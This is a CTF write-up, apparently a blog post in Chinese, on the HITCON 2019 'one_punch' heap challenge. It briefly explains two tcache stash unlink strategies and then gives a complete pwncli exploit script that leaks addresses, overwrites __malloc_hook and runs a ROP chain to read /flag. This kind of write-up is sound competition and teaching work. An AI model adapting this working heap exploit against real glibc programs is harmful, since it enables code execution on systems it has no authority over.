hitcon_ctf_2019_one_punch

总结

仍然是tcache stash unlink的利用,这里总结两种思路:

  • 任意地址分配时,先放5个,然后再凑2个出来
  • 写堆地址的时候,放6个,伪造一下bk即可

利用思路

只有punch分支才能用malloc,其他分支都是calloc,因此要想办法使得punch的条件成立,即tcaceh bin[0x220]的个数要大于6。因此有两种思路:

思路1

任意地址分配,分配到malloc_hook上方,然后利用一些gadget进行rop

image-20210821143405490

思路2

错位往tcahebin[0x220]count位置,写入0x7f,即可绕过校验。

image-20210821143610022

Exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

pop_rdi_ret = 0x26542
pop_rsi_ret = 0x26f9e
pop_rdx_ret = 0x12bda6
pop_rax_ret = 0x47cf8
syscall_ret = 0xcf6c5


def debut(idx, size, name="a"):
    if isinstance(name, str):
        pad = "a"
    else:
        pad = b"a"
    name = name.ljust(size, pad)
    p.sendlineafter("> ", "1")
    p.sendlineafter("idx: ", str(idx))
    p.sendafter("hero name: ", name)


def rename(idx, name):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendafter("hero name: ", name)


def show(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))
    p.recvuntil("hero name: ")
    return u64(p.recvline()[:-1].ljust(8, b"\x00"))


def retire(idx):
    p.sendlineafter("> ", "4")
    p.sendlineafter("idx: ", str(idx))



def punch(data):
    p.sendlineafter("> ", "50056")
    p.send(data)
    p.recvuntil("Serious Punch!!!\n")
    

# use tcachebin stach unlink, while has 5, to malloc at any address
def attack1():
    debut(0, 0x400)
    retire(0)
    debut(1, 0x400)
    retire(1)

    heap_base_addr = show(1) - 0x260
    log_address("heap_base_addr", heap_base_addr)

    for i in range(5):
        debut(0, 0x400)
        retire(0)
    
    debut(0, 0x400)

    for i in range(5):
        debut(1, 0x210)
        retire(1)
    
    retire(0)
    libc_base_addr = show(0) - 0x1e4ca0
    libc.address = libc_base_addr
    log_address("libc_base_addr", libc_base_addr)

    # split chunk
    debut(1, 0x1e0)
    # get smallbin chunk
    debut(1, 0x400)
    payload = flat({
        0: [0, 0x221, heap_base_addr + 0x20b0, libc_base_addr + 0x1e4bf8],
        0x1e0: [0, 0x221, 0xdeadbeef, heap_base_addr + 0x1ed0]
    }, filler="\x00")
    rename(0, payload)

    # to trigger tcache stash unlink
    debut(1, 0x210)

    # to change __malloc_hook
    payload = flat({
        0x20: "/flag\x00\x00\x00",
        0x28: libc_base_addr + 0x99540
    })
    punch(payload)

    layout = [
        libc_base_addr + pop_rdi_ret, # rdi
        libc.sym["__malloc_hook"] - 8,
        libc_base_addr + pop_rsi_ret, # rsi
        0, 
        libc_base_addr + pop_rax_ret, # rax
        2, # open("/flag", 0)
        libc_base_addr + syscall_ret, # syscall
        libc_base_addr + pop_rdi_ret,
        3,
        libc_base_addr + pop_rsi_ret,
        heap_base_addr + 0x400, 
        libc_base_addr + pop_rdx_ret,
        0x30,
        libc_base_addr + pop_rax_ret,
        0, # read
        libc_base_addr + syscall_ret,
        libc_base_addr + pop_rdi_ret,
        1,
        libc_base_addr + pop_rax_ret,
        1, 
        libc_base_addr + syscall_ret
    ]

    debut(1, 0x300, flat(layout))

    p.interactive()


# use tcachebin stach unlink, while has 6, to write heap address at any address
def attack2():
    debut(0, 0x400)
    retire(0)
    debut(1, 0x400)
    retire(1)

    heap_base_addr = show(1) - 0x260
    log_address("heap_base_addr", heap_base_addr)

    for i in range(5):
        debut(0, 0x400)
        retire(0)
    
    debut(0, 0x400)

    for i in range(6):
        debut(1, 0x2f0)
        retire(1)
    
    debut(2, 0x210)
    retire(2)
    # stop()

    retire(0)
    libc_base_addr = show(0) - 0x1e4ca0
    libc.address = libc_base_addr
    log_address("libc_base_addr", libc_base_addr)

    # split chunk
    debut(1, 0x100)
    # get smallbin chunk
    debut(1, 0x400)
    payload = flat({
        0: [0, 0x301, heap_base_addr + 0x1fd0, heap_base_addr + 0x20 - 5],
        0x100: [0, 0x301, 0xdeadbeef, heap_base_addr + 0x1ed0]
    }, filler="\x00")
    rename(0, payload)

    # to trigger tcache stash unlink
    debut(1, 0x2f0)


    rename(2, p64(libc.sym['__malloc_hook']-8))

    punch("a" * 0x60)

    punch(b"/flag\x00\x00\x00" + p64(libc_base_addr + 0x8cfd6)) # add rsp 0x48; ret

    layout = [
        libc_base_addr + pop_rdi_ret, # rdi
        libc.sym["__malloc_hook"] - 8,
        libc_base_addr + pop_rsi_ret, # rsi
        0, 
        libc_base_addr + pop_rax_ret, # rax
        2, # open("/flag", 0)
        libc_base_addr + syscall_ret, # syscall
        libc_base_addr + pop_rdi_ret,
        3,
        libc_base_addr + pop_rsi_ret,
        heap_base_addr + 0x400, 
        libc_base_addr + pop_rdx_ret,
        0x30,
        libc_base_addr + pop_rax_ret,
        0, # read
        libc_base_addr + syscall_ret,
        libc_base_addr + pop_rdi_ret,
        1,
        libc_base_addr + pop_rax_ret,
        1, 
        libc_base_addr + syscall_ret
    ]

    debut(1, 0x300, flat(layout))

    p.interactive()


attack2()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%